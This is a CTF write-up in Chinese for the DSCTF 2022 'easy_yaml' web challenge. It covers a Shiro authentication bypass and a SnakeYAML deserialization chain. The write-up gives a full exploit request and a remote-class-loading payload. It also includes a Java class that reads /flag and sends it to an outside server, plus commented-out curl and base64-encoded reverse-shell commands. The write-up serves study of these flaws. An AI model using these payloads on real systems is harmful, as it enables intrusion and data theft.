DSCTF-2022-复盘

  1. Web
    1. easy_yaml

Web

easy_yaml

进入赛题页面直接F12或ctrl+U查看源码可以看到部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager((org.apache.shiro.mgt.SecurityManager) securityManager());
bean.setLoginUrl("/login");
Map<String, String> filterMap = new LinkedHashMap<>();
filterMap.put("/static/*","anon");
filterMap.put("/load/*", "authc");
bean.setFilterChainDefinitionMap(filterMap);
return bean;
}

@PostMapping(value = "/load/{id}")
@ResponseBody
public String loadyaml(@PathVariable(name = "id") String id, @RequestParam(name = "persondata", defaultValue = "") String persondata) throws IOException, ClassNotFoundException {
Yaml yaml = new Yaml();
Person p = yaml.loadAs(persondata, Person.class);
return p.username;
}

public class Address {
public String street;
public Object ext;
public boolean isValid;
}
public class Person {
public String username;
public String age;
public boolean isLogin;
public Address address;
}

要访问/load/目录必须通过身份认证,但是从给出的源码并没有任何登录的信息,猜测需要绕过身份认证。试了好几个shiro认证绕过,发现/load/%3bxpoint可以绕过成功,即加一个%3b 也就是 ; 的url编码,也就是CVE-2020-13933。这里参考的是:《Java安全之Shiro权限绕过》 https://www.cnblogs.com/nice0e3/p/16248252.html

绕过认证之后即可进入到/load/目录进行下一步操作。可以看到,这里是用 yaml.loadAs() 函数将我们发送的yaml数据以Person类进行加载,下面也给出了Person类的构造,其中username在代码执行顺利的情况下会有回显,参数address则被指定为前面给出的Address类型,而这个类中就有一个参数能够利用,即ext,它能够反序列化为任意类,我们能够在这个地方构造恶意类来getshell。手动构造yaml数据如下:

1
2
3
4
5
6
7
8
username: xp0int
age: 11
isLogin: true
address:
street: xp0int
ext:
恶意类
isValid: true

恶意类的构造也会参照了mi1k7ea师傅的博客:《Java SnakeYaml反序列化漏洞》 https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 这篇文章也汇总了很多其他的一些漏洞。

1
2
3
4
5
6
7
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://ip:1234/"]
]
]
]

这使用了ScriptEngineManager类进行构造,本质上来讲是SPI机制,客户端通过访问服务端的目录下的META-INF/services文件获取自定义实现的类的1类名,再通过Class.forName来进行加载。这也是看了nice0e3师傅的文章学习到的: 《Java安全之SnakeYaml反序列化分析》https://www.cnblogs.com/nice0e3/p/14514882.html

那么剩下的问题就是构造一个恶意类并搭建起提供加载服务的Web应用了,这里可以直接下载github上的项目来快速搭建https://github.com/artsploit/yaml-payload。首先需要修改项目中/src/artsploit/目录下的 AwesomeScriptEngineFactory.java文件,讲函数AwesomeScriptEngineFactory() 的内容修改为我们要执行的代码,随后进行编译在/src/artsploit/目录下生成AwesomeScriptEngineFactory.class。

1
javac src/artsploit/AwesomeScriptEngineFactory.java

随后将/src/文件夹搬到vps上,用python开启简单的web服务即可。

1
python -m http.server --cgi 1234

在远程恶意服务准备好之后就可以开始发送准备好的yaml数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username: xp0int
age: 11
isLogin: true
address:
street: xp0int
ext:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://ip:1234/"]
]
]
]
isValid: true

将以上内容进行url编码,发送到目标网站,随后即会触发反序列化加载远程恶意类读取flag。

在比赛时用Runtime.getRuntime().exec()进行反弹shell,但是一直都没反应,整了好久怀疑是自己的恶意服务没构造好,等着看到W&M的wp:https://blog.wm-team.cn/index.php/archives/21/ 后才想起来,有可能这个方法被禁用了,用其他方式就好了,例如W&M的师傅直接读flag,然后将其构造为GET方法的参数访问自己vps上的服务即可看到get flag。

趁着环境还没关赶紧进行复现。

远程恶意类代码主体如下:

1
2
3
4
5
6
7
8
9
10
11
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
// Runtime.getRuntime().exec("curl https://webhook.site/fb838a03-6b64-404d-a48a-ad6174d83975");
// Runtime.getRuntime().exec("bash -c {echo,YmFzaCUyMC1pJTIwJTNFJTI2L2Rldi90Y3AvMTE5LjkxLjIzOS45OC8yMzMzMyUyMDAlM0UlMjYx}|{base64,-d}|{bash,-i}");
new java.net.URL("http://119.91.239.98:1234/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /load/%3bxp0int HTTP/1.1
Host: 39.105.38.203:30113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 929

persondata=%75%73%65%72%6e%61%6d%65%3a%20%78%70%30%69%6e%74%0a%61%67%65%3a%20%31%31%0a%69%73%4c%6f%67%69%6e%3a%20%74%72%75%65%0a%61%64%64%72%65%73%73%3a%20%0a%20%20%20%20%73%74%72%65%65%74%3a%20%78%70%30%69%6e%74%0a%20%20%20%20%65%78%74%3a%20%0a%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%43%6c%61%73%73%4c%6f%61%64%65%72%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%20%5b%22%68%74%74%70%3a%2f%2f%69%70%3a%31%32%33%34%2f%22%5d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%69%73%56%61%6c%69%64%3a%20%74%72%75%65

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com